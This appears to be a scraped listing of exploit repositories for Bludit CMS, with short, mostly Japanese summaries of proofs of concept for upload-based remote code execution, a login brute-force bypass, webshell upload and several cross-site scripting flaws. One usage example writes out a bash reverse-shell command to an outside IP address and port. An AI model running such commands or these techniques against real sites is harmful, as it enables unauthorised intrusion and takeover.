CVE-2019-16113

Bludit 3.9.2 - リモートコマンド実行 - CVE-2019-16113 このエクスプロイトは、Bludit CMS 3.9.2 の2つの脆弱性を組み合わせて、ターゲットシステム上でリモートコード実行を実現します。 元のエクスプロイトは CVE-2019-17240 と CVE-2019-16113 です。 特徴 ブルートフォースパスワード + RCE ブルートフォースユーザー名:パスワード + RCE 再現方法 Bludit 3.9.2 CMS をセットアップ ログイン情報を設定 エクスプロイトを実行: python3 poc.py...

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 リモートコマンド実行 RCE...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 認証付きRCE 使い方 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 例...

cve-2019-17240

Bludit = 3.9.22 - ブルートフォース緩和策のバイパス これは、このPythonスクリプトをGolangで書き直した小さなプロジェクトです。このプロジェクトの目的は、Go言語を学び、このエクスプロイトがどのように機能するかを理解することでした。 使い方 $ ./brutepass -sdasds flag provided but not defined: -sdasds Usage of ./brutepass: -c int Threads default 5 default 5 -l string Hostname eg...

CVE-2019-17240_Bludit-BF-Bypass

CVE-2019-17240 エクスプロイト/PoC - Bludit ブルートフォース緩和バイパス CVE-2019-17240 別名 Bludit = 3.9.2 ブルートフォース緩和バイパス用エクスプロイトコード エクスプロイトリンク: ExploitDB-48942 PacketStorm 期待される結果: Bludit =3.9.2 を実行しているホスト上のブルートフォース機構をバイパスして、ログイン資格情報を発見する。 企業環境における教育およびテストのみを目的としています。 このエクスプロイトは Python 3.8.6 でテストされました。 使用方法 cfx: /blud...

CVE-2020-13889

著者: Andre k Lorenci 連絡先: [email protected] CVE-2020-13889 こんにちは、この脆弱性は bludit の管理パネルにある showAlert という関数に存在し、DOM 経由でアクセスされると、ユーザーがメッセージボックスに表示するテキストを定義できます。しかし、この関数にはサニタイゼーションがなく、ユーザーは任意の JavaScript コードや HTML をページに注入できます。 この関数の戻り値を示すために、Web 開発ツールキットを使用して、その関数の引数として XSS コードを渡しました。...

Bludit 3.13.1 - Cross Site Scripting

Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in admin/login id: CVE-2021-35323 info: name: Bludit 3.13.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in...

Bludit CMS <= 3.20.0 - Cross-Site Scripting

Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query. id: CVE-2026-41456 info: name: Bludit CMS = 3.20.0 - Cross-Site Scripting author: 0xAkoko...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 の「アップロード機能」を介したリモートコード実行の脆弱性。 シンプルなPython PoC。 発見者: @christasa: https://github.com/bludit/bludit/issues/1081 使用方法 スクリプトを編集して、URL、ユーザー名、パスワード、実行するコマンドを設定し、スクリプトを実行してください: $ python CVE-2019-16113.py + Loggin successful. + Token CSRF:...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API 無制限ファイルアップロードによるRCE 説明 Bludit CMS 3.18.4 より前のバージョンでは、有効なAPIトークンを持つ認証済み攻撃者が、POST /api/files/ エンドポイントを介して任意のタイプおよび拡張子のファイルをアップロードできます。uploadFile 関数はファイル拡張子やコンテンツの検証を一切行わないため、PHPウェブシェルをアップロードして www-data として実行することが可能です。 影響を受けるバージョン 脆弱性あり: Bludit whoami www-data shell...

CVE-2019-16113

CVE-2019-16113 これは Bludit ディレクトリトラバーサル画像ファイルアップロード脆弱性のための Python 実装 PoC です。 CVE-2019-16113 Bludit 3.9.2 は、bl-kernel/ajax/upload-images.php 経由でリモートコード実行を許可します。なぜなら、PHP コードを .jpg（または .png）ファイル名で入力でき、 そしてこの PHP コードは他の PHP コードを ../ パス名に書き込むことができるからです。 元のクレジット: christasa - 最初の発見 sinn3r - Metasploit...

CVE-2019-17240

CVE-2019-17240 エクスプロイト Bludit CMS バージョン 3.9.2 以前は、誤ったログインを 10 回以上試行したユーザーをブロックするためのアンチブルートフォース機構をバイパスできる脆弱性があります。 この脆弱性は Rastating によって発見されました。 可変の文字列（偽装された文字列）の X-Forwarded-For ヘッダー値を使用したログインリクエストは正常に処理され、失敗したログイン試行は偽装された文字列に対して記録されました。 上記のスクリプトは、その脆弱性を利用して anit-brute 機構を迂回します。 ログインページの本文には csrf...

CVE-2016-16113-POC

Get RCE - Bludit CMS エクスプロイト | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240 （認証バイパス）とCVE-2019-16113 （任意ファイルアップロード）を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。 ⚠️ 法的免責事項 認可されたセキュリティテストのみを対象としています...

CVE-2019-16113-Dockerfile

Bluditディレクトリトラバーサル脆弱性（CVE-2019--16113） Bludit-3.9.2 は軽量CMSであり、LAMP環境があれば実行できます。画像アップロード時、Bluditはファイル拡張子をチェックした後、ファイルを適時に削除しないため、攻撃者はuuidパラメータを制御することでディレクトリトラバーサルを実現できます。詳細は参照 脆弱性環境 以下のコマンドを実行してイメージをビルドし、Bluditコンテナを起動します cd Docker sudo docker build -t bludit:cve . 编译镜像 sudo docker run --name bludi...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Bluditのログイン回避策をバイパスし、悪意のあるファイルをアップロードしてリバースシェルを呼び出します。...

CVE-2021-45745

CVE-2021-45745 エクスプロイトタイトル: Bludit 3.13.1 - About プラグインの保存型クロスサイトスクリプティング XSS エクスプロイト作者: SANU P.L CVE: CVE-2021-45745 CVSS: 5.4 MEDIUM 参考文献: https://www.plsanu.com/bludit-3-13-1-about-plugin-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45745...

CVE-2021-45744

CVE-2021-45744 漏洞标题：Bludit 3.13.1 - 标签字段存储型跨站脚本（XSS） 漏洞作者：SANU P.L CVE：CVE-2021-45744 CVSS：5.4 中危 参考链接： https://www.plsanu.com/bludit-3-13-1-tags-field-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45744 https://vulners.com/cve/CVE-2021-45744 描述： Bludit 3.13.1...

Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240

Bludit ブルートフォース軽減バイパススクリプト 概要 このスクリプトは、Bludit CMS バージョン 3.9.2 以下を対象としたエクスプロイトを Bash で再実装したものです。CSRF トークンベースの保護をバイパスしてパスワードのブルートフォースを可能にする脆弱性 CVE-2019-17240 を利用します。 元の Python スクリプトは ColdFusionX（Mayank Deshmukh） によって作成され、ここでは Bash ユーザー向けに使いやすさと進行状況の追跡機能を強化して移植しています。 脆弱性の詳細 発見者 : Rastating CVE :...

Bludit-CVE-2019-17240-Fork

Bludit-CVE-2019-17240-Fork "rastating.github.io/bludit-brute-force-mitigation-bypass/" の改良版 とても簡単に使えます。必要な操作は次の通りです： python3 BBFMB.py その後、URL、ユーザー名、ワードリストのディレクトリの順に尋ねられます チーズ もぐもぐ...

Bludit-3.13.1-TAGS-Field-Stored-Cross-Site-Scripting-XSS

CVE-2021-45744 エクスプロイトタイトル: Bludit 3.13.1 - TAGS フィールド保存型クロスサイトスクリプティング XSS エクスプロイト作者: SANU P.L CVE: CVE-2021-45744 CVSS: 5.4 MEDIUM 参考文献: https://www.plsanu.com/bludit-3-13-1-tags-field-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45744...